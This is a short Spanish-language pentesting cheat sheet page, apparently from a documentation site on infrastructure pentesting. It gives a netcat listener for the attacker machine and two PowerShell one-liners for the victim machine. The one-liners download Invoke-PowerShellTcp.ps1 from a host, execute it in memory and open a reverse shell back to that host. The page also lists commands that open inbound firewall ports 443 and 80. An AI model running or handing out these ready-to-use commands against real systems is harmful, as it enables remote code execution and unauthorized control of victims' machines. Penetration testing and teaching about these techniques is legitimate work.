> For the complete documentation index, see [llms.txt](https://www.xtormin.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.xtormin.com/pentesting-en-infraestructuras/misc.md).

# Misc

## Ejecutar scripts de powershell en kali

## Reverse shell

Desde la máquina atacante:

```
C:\AD\Tools\netcat\nc64.exe -lvp 443
```

Desde la máquina víctima:

{% code overflow="wrap" %}

```powershell
powershell.exe -c iex ((New-Object Net.WebClient).DownloadString('http://192.168.1.100/Invoke-PowerShellTcp.ps1'));Power -Reverse -IPAddress 192.168.1.100 -Port 443

powershell.exe iex (iwr http://192.168.1.100/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Power -Reverse -IPAddress 192.168.1.100 -Port 443
```

{% endcode %}

## Agregar excepción en el firewall

### Inbound

Command line:

```powershell
New-NetFirewallRule -DisplayName "Allow Port 443 Inbound" `
    -Direction Inbound `
    -LocalPort 443 `
    -Protocol TCP `
    -Action Allow `
    -Profile Any
```

```
New-NetFirewallRule -DisplayName "Allow Port 80 Inbound" `
    -Direction Inbound `
    -LocalPort 80 `
    -Protocol TCP `
    -Action Allow `
    -Profile Any
```

GUI:

<figure><img src="/files/notpK9XU3wytoS2gL0Sj" alt=""><figcaption></figcaption></figure>
